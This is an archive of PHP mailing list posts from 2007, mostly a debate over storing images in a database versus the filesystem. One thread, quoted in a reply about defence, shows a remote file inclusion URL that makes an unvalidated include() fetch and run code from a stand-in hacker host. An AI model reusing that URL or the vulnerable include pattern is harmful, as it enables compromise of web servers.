writes out where the problem occurs!  Indeed, the hacker could read a
line like this:
Warning: include() [function.include]: URL file-access is disabled in
the server configuration in C:\Inetpub\wwwroot\index.php on line X

I don't want them (the hackers) to be able to read this either. 
That gives too much information about my server's file system.  How can
I stop that?

By the way, I know there're still a lot of servers out there still
using PHP4.  Is this vulnerability a known bug?  At least, I'm not aware
of that before!

Regards,

Seak




--
* Zoner PhotoStudio 8 - Your Photos perfect, shared, organised!
www.zoner.com/zps
  You can download your free version.

--
PHP Windows Mailing List (http://www.php.net/) To unsubscribe, visit:
http://www.php.net/unsub.php

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread tedd

At 10:28 AM -0800 3/2/07, steve wrote:

Putting the files in the DB doesn't always remove extra cleanup/management
stuff. Sometimes the database stores binary objects as files and sometimes
they don't get deleted correctly.


I'm dying to know what database you are using that puts every blob in
a separate file these days.


People often look at 0's and 1's differently depending upon how they 
got there. There are some valid reasons to look at architecture, but 
it's still just 1's and 0's.


But, all dB's basically use a read/write system that mimics the file 
system in some fashion -- so at some level the two are 
undistinguished.


Cheers,

tedd

--
---
http://sperling.com  http://ancientstones.com  http://earthstones.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread Robert Cummings
On Fri, 2007-03-02 at 13:49 -0500, Brad Bonkoski wrote:

 Overall this has been a cool and interesting thread.  For the most part, 
 I would say I side with Mark, but again the fatal flaw appears to be the 
 insistence that one approach is right in 100% of the time...which 99% of 
 the time is false.

This is exactly the crux of my objection to Mark's posts. Not that the
filesystem isn't usually a superior choice, but his claim that it is
always the superior choice :/

Cheers,
Rob.
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Børge Holen
On Thursday 01 March 2007 22:24, Richard Lynch wrote:
 I have reflected upon this thread for awhile now.

 I believe that the only new thing I have to add is for newbies.

 I believe that for a newbie, it would be easier to use the filesystem
 rather than the DB.

THAT on the other hand is BS! not to jerk around with you, but no and HELL no.
Storing in the database was the easy way out, I started using the filesystem 
cuz of both a limitation in a forum AND a few mails from you. But easier... 
NO.


 True, you then have to do some extra cleanup/management work for
 deleted records, so that the related images go away.

This is just deleting records... a record with a blob is just as easy/hard 
with/without a blob.


 But storing them in the DB invariably ends up with too many issues
 involving DB storage size and query buffer size, compounded by data
 escaping/security issues.

This on the other hand... I'm a newbie, whatever your saying, BUT and it is a 
big one; The data has to be escaped anyway, the binary object has to be 
checked for security breaches with or without the database, so this is reason 
is by all means wrongly put.


 None of these are easy for a newbie to solve, and all too often, due
 to environmental limitations (read: shared hosting) it is impossible
 to fix the query buffer size limitation.


 If you know what you are doing, and have thought out the pros and
 cons, by all means, go ahead and put your images into the DB.

 If you have no idea what to do, choose the file system to get started,
 and then do more research when you have spare time.

 --
 Some people have a gift link here.
 Know what I want?
 I want you to buy a CD from some starving artist.
 http://cdbaby.com/browse/from/lynch
 Yeah, I get a buck. So?

-- 
---
Børge
Kennel Arivene 
http://www.arivene.net
---

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Børge Holen
On Friday 02 March 2007 14:48, tedd wrote:
 At 5:24 PM -0600 3/1/07, Richard Lynch wrote:
 On Wed, February 28, 2007 6:41 pm, Robert Cummings wrote:
   What about when you need to share those files across a 50 node
   network?
   I'd keep it in a database, then when I need it cache a local copy on
   the
   filesystem. Then I can just check the timestamp in the database to see
   if the file has changed. Voila, multi-node high availability images.
 
   Seems better than have a local copy of every single image. I guess the
   answer is... it depends on what you're doing!
 
 Add an image server (or 20) and change the HTML to point to the image
 server.
 
 Use rsync on the 20 image client servers from the master image server.
 
 Lots of ways to skin this cat.

 But the cat ain't going to like any of them.

I don't particulary like cats...


 tedd
 --
 ---
 http://sperling.com  http://ancientstones.com  http://earthstones.com

-- 
---
Børge
Kennel Arivene 
http://www.arivene.net
---

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Combining sound files

2007-03-02 Thread tedd

At 1:37 PM -0500 3/2/07, tedd wrote:

At 5:28 PM -0600 2/27/07, Richard Lynch wrote:

You may find it easier/faster to just locate a .wav splicer command
line tool and run exec with it.  Though perhaps not nearly as fun,
depending on your definition of fun.


Richard:

Nah, it's easier to bit twiddle the sound files and I found an easy 
way to combine them. It's funny what a few bytes of data can do.  :-)


What's ya think of this -- does it work for you?

http://sperling.com/examples/captcha/

Cheers,

tedd



Oops, it was just supposed to go to Richard.

Sorry.

tedd
--
---
http://sperling.com  http://ancientstones.com  http://earthstones.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread tedd

At 1:49 PM -0500 3/2/07, Brad Bonkoski wrote:
Overall this has been a cool and interesting thread.  For the most 
part, I would say I side with Mark, but again the fatal flaw appears 
to be the insistence that one approach is right in 100% of the 
time...which 99% of the time is false.


-B


Brad:

You can't have it both ways -- either some of what I say is true, or 
none of it is true.


If it's not true, then you can side with Mark. But, if it is true 
then you cannot side with Mark.


That's the reason for this discussion, not to see where the majority 
of opinions falls. I seldom use dB's to store images either, but on 
occasion it is preferable and is certainly not bad practice to do 
so, as Mark claims.


Cheers,

tedd

--
---
http://sperling.com  http://ancientstones.com  http://earthstones.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread tedd

At 7:52 PM +0100 3/2/07, Børge Holen wrote:

On Thursday 01 March 2007 22:24, Richard Lynch wrote:

  I believe that for a newbie, it would be easier to use the filesystem

 rather than the DB.


THAT on the other hand is BS! not to jerk around with you, but no and HELL no.
Storing in the database was the easy way out, I started using the filesystem
cuz of both a limitation in a forum AND a few mails from you. But easier...
NO.


Børge:

I'm lost.

As a newbie, is storing an image in a dB a good thing or a bad thing?

tedd

--
---
http://sperling.com  http://ancientstones.com  http://earthstones.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Børge Holen
On Friday 02 March 2007 21:13, tedd wrote:
 At 7:52 PM +0100 3/2/07, Børge Holen wrote:
 On Thursday 01 March 2007 22:24, Richard Lynch wrote:
I believe that for a newbie, it would be easier to use the filesystem
 
   rather than the DB.
 
 THAT on the other hand is BS! not to jerk around with you, but no and HELL
  no. Storing in the database was the easy way out, I started using the
  filesystem cuz of both a limitation in a forum AND a few mails from you.
  But easier... NO.

 Børge:

 I'm lost.

Yes, I was refering to that the reason Richard gave; that it is easier to use 
the filesystem rather than the database to store files.


 As a newbie, is storing an image in a dB a good thing or a bad thing?

I would say, depends on yer project. In my case; it lean out towards 4000 
records, close to 3000 x 2 (cuz of thumbnails) images (be that of any size 
beneath 640x480).

Some of Richards earlier statements made me do some rather large forum 
applications, wheras I made the images go to the filesystem. Both because I 
didn't know how, and wanted each record inserted to hold up 20 images in one 
submit, this was the clearly logical solution.

However... 6000 small files (and a sub if obliged) I cannot see one heck of a 
good reason NOT to hold storage in a database... Imagine the rotten backup 
cyclus.
THAT particlulary mysqldump really make me feel good, each time the cron does 
an automated backup!!!

As for answering yer question in a short matter. Good thing...

Keeping track of authenticated users and watermarked images and keeping 
regular users at bay, how can we NOT take adventage of this magnificent tool?

Yes I see how hardcore users working for yahoogoogleland and make a dumperload 
of money at each project delivery may choose well proved techiques... 
BUT HELL, I do help people who asks, last year I got a bottle of Pepsi. No 
complaints so far ;D, and btw: I like it fashionable, pretty, swell and 
fenomenal not just adequate.

 tedd

 --
 ---
 http://sperling.com  http://ancientstones.com  http://earthstones.com

-- 
---
Børge
Kennel Arivene 
http://www.arivene.net
---

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread steve

 But storing them in the DB invariably ends up with too many issues
 involving DB storage size and query buffer size, compounded by data
 escaping/security issues.

This on the other hand... I'm a newbie, whatever your saying, BUT and it is a
big one; The data has to be escaped anyway, the binary object has to be
checked for security breaches with or without the database, so this is reason
is by all means wrongly put.


Depends. Use a prepared statement and mysqli for example, and there is
no escaping.

You should still do a virus scan first, however. Doesn't matter how
you store things.


As a newbie, is storing an image in a dB a good thing or a bad thing?


I tend to go with depends. We actually store files in a DB in
development, as those machines are separate from the grid. Since some
are windows, linux, and MacOS, it is far easier to store in a DB than
have different code for each development machine depending on their
filesystem. Otherwise, in production, neither way really works, so
there is the hybrid way I alluded to before.

If you are on a hosted server, you may have different filesystem and
database limits for storage. That could make the decision for you.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Using mysqli_stmt_bind_param in a class - with variable parameters?

2007-03-02 Thread Christian Heinrich

Hi all,

I would like to ask you if anyone of you ever did something like that or 
might tell me how to do this.


I am currently switching from PHP4 to PHP5 and mySQL4 to mySQL5.
On account of this, I would like to use the improvements of ext/mysqli 
instead of the old ext/mysql. So I need to do a rewrite on my database 
class and as of this, I would like to add new functions such as prepared 
statements, which are obviously supported by mysqli.


In fact, I would like to write a method within my class like this:

public function bindParam($str_types, $var_variable)
{
// Code
$mysqli_stmt-bind_param($str_types, $var_variable);
}

This method is supposed to be called like this ($result is an object of 
that class)


$result-bindParam(s, $username);
$username = username;


That does work out already, but I would like to add more parameters like 
this:



$result-bind_param(, $username, $email, $me, $you);


As I don't want to write a method with 50 optional parameters (I needed 
to add one if I were to use 51 variables), I would like to solve this 
problem dynamically. In fact, I tried to recall the bind_param method of 
mysqli_stmt several times, but I have to call it only once as PHP 
requires me to do this. (I get an error otherwise that the number of 
variables isn't fitting to the prepared statement)

So I have to pass all parameters in one call.

I also tried eval() but that didn't really work out, either.

Now, my question is: What can I do to solve this problem? Is there any 
elegant way of doing this?



Thanks in advance for any inspiration (and I hope I could make myself 
clear).



Yours sincerely
Christian Heinrich

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread markw
   At 10:01 AM -0500 3/1/07, markw@mohawksoft.com wrote:

  If you are open to honestly consider, then I shall provide a couple
  of examples. But if I do and you do not agree, then your only
  recourse will be to *prove* otherwise.

  So, what say you?

Absolutely, I'm all about computer science. Give me some real world
examples and I'll show you the flaws.

-snip-

What do *you* say?

 Mark:

 Well... it's not just me, but from what I've learned and read over the
 years.

 Your claim is that in ALL cases using a file system to store images
 is preferable to using a database. As such, you claim that using a dB
 for storing images is bad practice.

That is fairly close to my professional opinion, yes. There is, of course,
always the exception to any rule, but in general, I would call storing
bitmaps in a database without a damn good reason, a bad practice, yes.


 My claim is that both methods have their advantages and
 disadvantages, as I said in my opening post on this thread Both
 techniques have up-sides and down-sides -- and I use both depending
 upon needs.

I would say that the error is that you weight each approach equally, and
that one is clearly a bad practice for the various reasons I have posted.


 Part of the problem here is that we are using subjective terms such
 as bad practice and preferable methodologies. So a bit of
 objectivity is in order. Such terms can be viewed from different
 perspectives, such as time taken, cost in equipment, ease of use, and
 many other such concerns.

One can not view the act of using a wrench as a hammer as anything but a
bad practice. I'm sure at one time or another, we have all used a wrench
as a hammer, but that in no way justifies an opinion that using a wrench
as a hammer is appropriate. It may be necessary or convenient at some
point in time, but not something one designs as a solution.


 However, I realize that what's preferable and bad practice for
 you may differ for me and therein provides an opportunity for you to
 pass on *proving* that none of the following fits within in your
 considerations and restrictions. But, that's Okay -- you can keep
 your opinion. I am only offering what I believe to be relevant
 because you said you would honestly consider it.

Hiding behind opinion is too easy. There are things that are better than
others. Quality sucks in the software world largely because proper use of
technologies is not understood.


 The following are the things I consider important for this discussion:

 Consideration 1

 Storing images in a database bloats the database and you're more
 likely to approach memory limits of your operating system. However,
 storing images the file system, likewise may cause lookups to become
 slower on some operating systems than using a dB (Granted this is a
 weak consideration, but I read it, so it must be true.)  :-)

this is far too weak and unspecific to really address. Bloat is a
subjective title. And lookups to become slower either encompasses
failures of specific file systems or approach.



 Consideration 2

 If your project is to supply images across several web servers on
 different host, then you are caught in a sync problem. Images stored
 in a file system must be stored on a local host. In a multiple host
 situation you must have a duplicate set of images on each host.
 Synchronizing images across different files systems on different host
 is far more complicated and problematic than maintaining a single
 database from which all host can draw the most current images.

This is a complete fallacy. It fails on a few assumptions.
(1) If you assume that you have one database supply all the images to all
your servers, then you merely need to expose an images.domain.com URL
that contains all your images. That will be faster and more efficient than
a single database.

(2) Again, assuming one machine supply all data, a back-end apache server
serving images from one machine through a validated PHP pass through is
still more efficient than a database.

(3) Assuming that you want to distribute database images, there are many
tools to accomplish this, not the least of which is rsync.



 Consideration 3

 Storing images images in a file system and their location in a
 database is a two step process in all image operations. If your
 project requires a transactions, then it's obviously more difficult
 to accomplish for not only do you have to do two operations, but they
 must take place in two domains. Whereas, if you store images in a
 database it is a simple matter to add, alter, and delete because it's
 one operation and thus no need to confirm that the file system and
 database remain in sync.

This is a purely hypothetical and easily solved problem, if you can even
create a scenario that would cause it.

First of all, assuming a requirement of ACID transactions, one create the
bitmap file name using something like a UID, save the bitmap to the disk
using fsync() to ensure it is committed to disk, then update 

Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread markw
  Not in my environment. All db servers have RAID 10 over 8 SCSI 15K
  disks. Pulling from them is always faster than a webserver pulling
  from its SATA drive.

 That's not exactly an apples to apples comparison.

 That is true, and sort of the point.

Not really, anything that you provide for the database, could equally be
used for the image server.


 However, the whole thing started because someone was asking a trivial
 question. The assumption there is that they are on a hosted
 environment, likely with the the web server and the database on the
 same server. Chances are the filesystem will be a better bet for them
 for speed. But on such a system, the speed difference may not be much
 of a concern.

 Where I am, I am forced to think about different things, so my
 viewpoint may be improperly colored. Its completely random that I'm
 posting to this list at all...

  Also, there is issue of going to the database and going to the
  filesystem. Timing wise, you

 Please explain.

 I'm making assumptions about the layout again. The database will
 likely already have the table files opened, but will need a seek to
 get the data. The webserver will have to do an additional seek (I was
 assuming on a far slower drive system, and likely twice for stat and
 read).

I'm not sure I trust this assessment.If it is an often used image it will
be in OS level cache. If it is not, then you will have the I/O.
Regardless, it will be using SQL database cache blocks and reduce the
efficacy of the SQL cache.


 Putting the files in the DB doesn't always remove extra
 cleanup/management
 stuff. Sometimes the database stores binary objects as files and
 sometimes
 they don't get deleted correctly.

 I'm dying to know what database you are using that puts every blob in
 a separate file these days.


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread steve

It is funny, but most people don't get the fact that SQL databases are not
the best way to store data. They are designed to select algebraic
relationships from a data set. They are designed to ensure accuracy of the
relationships and the integrity of the data.


Like blobs in separate files, this is a very old perspective. Not to
say incorrect, but they have evolved into more analytical information
storage servers in the last 15 years. Hmm that sounded like marketing
speak. !! I better get back to work... bye all!

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread steve

 I'm making assumptions about the layout again. The database will
 likely already have the table files opened, but will need a seek to
 get the data. The webserver will have to do an additional seek (I was
 assuming on a far slower drive system, and likely twice for stat and
 read).

I'm not sure I trust this assessment.If it is an often used image it will
be in OS level cache. If it is not, then you will have the I/O.
Regardless, it will be using SQL database cache blocks and reduce the
efficacy of the SQL cache.


Remember, I don't use a db to store images, for a variety of reasons,
mostly in that centralized repositories of anything don't scale.
However, if your hardware is far more than than you userbase will
need, the SQL server's caching won't matter, and it will be faster.
Not that it matters, since it would be a more expensive setup than
necessary. Ease of programming wise, or in the one case where we use
it: ease of developer setups, it works better. Those are really just
configuration issues and a syncing issues across platforms.

Storing everything on one machine does not scale.

And as to the slashdot effect -- snore.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Roman Neuhauser
# [EMAIL PROTECTED] / 2007-03-02 21:37:48 +0100:
 However... 6000 small files (and a sub if obliged) I cannot see one heck of a 
 good reason NOT to hold storage in a database... Imagine the rotten backup 
 cyclus.

I cannot imagine it.  What was the problem?

-- 
How many Vietnam vets does it take to screw in a light bulb?
You don't know, man.  You don't KNOW.
Cause you weren't THERE. http://bash.org/?255991

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: Your input would be appreciated.

2007-03-02 Thread Haydar TUNA
Hello,
 In some questions, you can use combobox  for easiest data analysis such 
as countries . except this, it's very good survey:)

-- 
Haydar TUNA
Republic Of Turkey - Ministry of National Education
Education Technology Department Ankara / TURKEY
Web: http://www.haydartuna.net

[EMAIL PROTECTED], haber iletisinde sunlari 
yazdi:[EMAIL PROTECTED]
 Hello

 My name is Lara Thynne and I am a PhD candidate at Deakin University
 Australia.

 I am currently running a survey at the following address.

 https://dcarf.deakin.edu.au/surveys/oss/

 The survey is completely confidential and looks at your views and
 motivations to use Open Source software and to participate in the
 community.

 It will only take a few minutes and your contact details will not be
 recorded. You can withdraw your participation at any stage.

 I sincerely apologize for the spammish nature of this e-mail - I
 don't mean to abuse this list.  I am trying to collect responses
 from as many open source developers and users as possible and a
 mailing list like this is probably the best way to reach many of you.

 Please personally CC me with any questions/comments posted to the
 list in response.

 Thanks again

 Lara

 P.S The program that I am using is open source, of course
 (www.phpsurveyor.org)! 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread Børge Holen
On Saturday 03 March 2007 00:00, Roman Neuhauser wrote:
 # [EMAIL PROTECTED] / 2007-03-02 21:37:48 +0100:
  However... 6000 small files (and a sub if obliged) I cannot see one heck
  of a good reason NOT to hold storage in a database... Imagine the rotten
  backup cyclus.

 I cannot imagine it.  What was the problem?

No problem... Just ugliness... and some afterthought. The complete dataset 
spread out over more than 6000 files instead of one. Using tar and bunzip2 on 
the amount of files and at the same time.. also do a sqldump of all the rest 
of the information... glue together and send it off to backup storage...

Just seems so  someone put in a word. 
If something happens now, I just rollback, no fuzz. Backup is scheduled once a 
day and gives me all the safety needed to keep it live'n kicking.

Last time this case was up for discussion, I got the lecture from Richard, 
whereas he gave me quite a few good pointers on the file storage subject, 
witch I've implemented in my present and future project (Thanks Richard), but 
see absolutely no reason to rollback over the previously mentioned project 
with the images. It just doesn't fit the task at hand.

Use the tool fitted for the task and databases is _A_ tool, and a good one at 
that, but even I can see many ways to missuse it, and the reason is simple; 
The first thing one find if searching for many php file storage topics is 
easy and even easier solutions to store images in a blob rather than the 
filesystem witch actually requires some thinking.
So one should probably STRONGLY suggest otherwise if someone asks, but one 
should not ban it, cuz is has its moments

-- 
---
Børge
Kennel Arivene 
http://www.arivene.net
---

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Question on virus/worms

2007-03-02 Thread Stut

Seak, Teng-Fong wrote:

But after I've spent some time reading the log files, I've finally
found out how the hackers managed to achieve worm infiltration.

Actually, they're using an URL like this:
http://my-domain.com/index.php?page=http://hacker-domain.com/some-worm-file.txt?

And the some-worm-file.txt file contains some PHP code, while my
index.php contains this instruction:
include($page.php);

This is enough to make infiltration possible!  IMO, this instruction
is supposed to be used like this, isn't it?  So this is obviously a PHP
security loophole and I don't see how the poorly written scripts can
help anything unless a totally rewrite!  And there's no poor server
security that I can see.


You mean to say that you're not validating what you're getting from the 
user? Frankly you deserve everything you get. This is *not* a security 
loophole, it *is* a poorly written script.



I've installed PHP5 and the problem seems fixed.  However, PHP
writes out where the problem occurs!  Indeed, the hacker could read a
line like this:
Warning: include() [function.include]: URL file-access is disabled in
the server configuration in
C:\Inetpub\wwwroot\index.php on line X

I don't want them (the hackers) to be able to read this either. 
That gives too much information about my server's file system.  How can

I stop that?


Read the manual, specifically the error_reporting part. You can turn the 
display of these messages off.



By the way, I know there're still a lot of servers out there still
using PHP4.  Is this vulnerability a known bug?  At least, I'm not aware
of that before!


It's not a bug. It will never be a bug. Yes PHP5 (I believe it's 5.2+) 
introduces the ability to turn off the ability to prevent this issue, 
but it's still badly written code. Stop blaming the tool, start blaming 
the mirror image and start learning how to code defensively.


-Stut

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB

2007-03-02 Thread markw
  I'm making assumptions about the layout again. The database will
  likely already have the table files opened, but will need a seek to
  get the data. The webserver will have to do an additional seek (I was
  assuming on a far slower drive system, and likely twice for stat and
  read).

 I'm not sure I trust this assessment.If it is an often used image it
 will
 be in OS level cache. If it is not, then you will have the I/O.
 Regardless, it will be using SQL database cache blocks and reduce the
 efficacy of the SQL cache.

 Remember, I don't use a db to store images, for a variety of reasons,
 mostly in that centralized repositories of anything don't scale.

Finally someone has something that sounds like a well constructed thought.

 However, if your hardware is far more than than you userbase will
 need, the SQL server's caching won't matter, and it will be faster.

The good enough fallacy again.

 Not that it matters, since it would be a more expensive setup than
 necessary.

Using hardware and resources more effectively is seldom more expensive.

 Ease of programming wise, or in the one case where we use
 it: ease of developer setups, it works better.

I've never seen it in practice. A trivial procedural rule during
development is not a big deal.


 Those are really just
 configuration issues and a syncing issues across platforms.

 Storing everything on one machine does not scale.

 And as to the slashdot effect -- snore.

It is a handy short hand for heavy access, and it is a big concern if
you have a popular site or hope to have one.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread markw
 It is funny, but most people don't get the fact that SQL databases are
 not
 the best way to store data. They are designed to select algebraic
 relationships from a data set. They are designed to ensure accuracy of
 the
 relationships and the integrity of the data.

 Like blobs in separate files, this is a very old perspective.

Not as old as you may think.

Most databases use fixed block sizes. This, obviously, allows an efficient
buffer caching system. Be it MySQL, PostgreSQL, SQLite3, etc. BLOBS don't
fit into the blocks well. So, some method must be used to store this data
in a way that does not mess up the nice buffering system.

PostgreSQL uses TOAST, which is kind of cool. It stores large data in a
separate table file. Even allows compression.

MySQL MyISAM, if I recall correctly, stores the binary data in a separate
unique block for blobs.

Oracle still allows you to store BLOBs outside of the tablespace.

 Not to
 say incorrect, but they have evolved into more analytical information
 storage servers in the last 15 years.

People who think the past have no importance in the present are mistaken.
My information was not old but your interpretation was ignorant.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread Robert Cummings
On Fri, 2007-03-02 at 17:31 -0500, markw@mohawksoft.com wrote:
  Your claim is that in ALL cases using a file system to store images
  is preferable to using a database. As such, you claim that using a dB
  for storing images is bad practice.
 
 That is fairly close to my professional opinion, yes. There is, of course,
 always the exception to any rule, but in general, I would call storing
 bitmaps in a database without a damn good reason, a bad practice, yes.

Ah, you've changed your tune. Thanks for coming out.

Cheers,
Rob.
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] best framework (pear vs zend framework)

2007-03-02 Thread Kevin Waterson
This one time, at band camp, Marco Sottana [EMAIL PROTECTED] wrote:

 which is the best framework ? pear or zend framework?

None of the above...

-- 
Democracy is two wolves and a lamb voting on what to have for lunch. 
Liberty is a well-armed lamb contesting the vote.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread markw
 On Fri, 2007-03-02 at 17:31 -0500, markw@mohawksoft.com wrote:
  Your claim is that in ALL cases using a file system to store images
  is preferable to using a database. As such, you claim that using a dB
  for storing images is bad practice.

 That is fairly close to my professional opinion, yes. There is, of
 course,
 always the exception to any rule, but in general, I would call storing
 bitmaps in a database without a damn good reason, a bad practice, yes.

 Ah, you've changed your tune. Thanks for coming out.

I haven't changed any tune what so ever.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: how to display images stored in DB*

2007-03-02 Thread Robert Cummings
On Fri, 2007-03-02 at 22:53 -0500, markw@mohawksoft.com wrote:
  On Fri, 2007-03-02 at 17:31 -0500, markw@mohawksoft.com wrote:
   Your claim is that in ALL cases using a file system to store images
   is preferable to using a database. As such, you claim that using a dB
   for storing images is bad practice.
 
  That is fairly close to my professional opinion, yes. There is, of
  course,
  always the exception to any rule, but in general, I would call storing
  bitmaps in a database without a damn good reason, a bad practice, yes.
 
  Ah, you've changed your tune. Thanks for coming out.
 
 I haven't changed any tune what so ever.

Uhm, ookaay dky then. I guess it's a good thing that
the archives tell the real story... not to mention the readers of the
list don't exactly have short memories.

Cheers,
Rob.
-- 
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] problems with thumbnail image

2007-03-02 Thread Punit Neb
On Friday 02 March 2007 21:59, Roberto Mansfield wrote:
 The problem is that your function generates thumbnail and then tries to
 return the binary image within the html document. Html contains *links*
 to images, not the images themselves. So you need to do something like
 this:

 img src=create_thumbnail.php?filename=? echo $photo_img_name; ?

 Then you create_thumbnail.php can return the binary image:

 ?

 // be sure to validate the user supplied parameter!
 $photo_img_name = $_REQUEST['filename'];


  $percent = 0.5;
  list($width, $height) = getimagesize($photo_img_name);
  $newwidth = $width * $percent;
  $newheight = $height * $percent;
  $thumb = imagecreatetruecolor($newwidth, $newheight);
  $source = imagecreatefrompng($photo_img_name);
  imagecopyresized($thumb, $source, 0, 0, 0, 0, $newwidth, $newheight,
 $width,
 $height);

 // or whatever the correct mime/type is
 header(Content-type: image/png);

 echo imagepng($thumb);
 }
I assumed there are no problems with the html part of things as the original 
image was being display perfectly. Guess thats where the difference between 
newbies and old hands is evident. 

I have added the suggested validation. Many thanks for all the help.

regards
Punit Neb

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php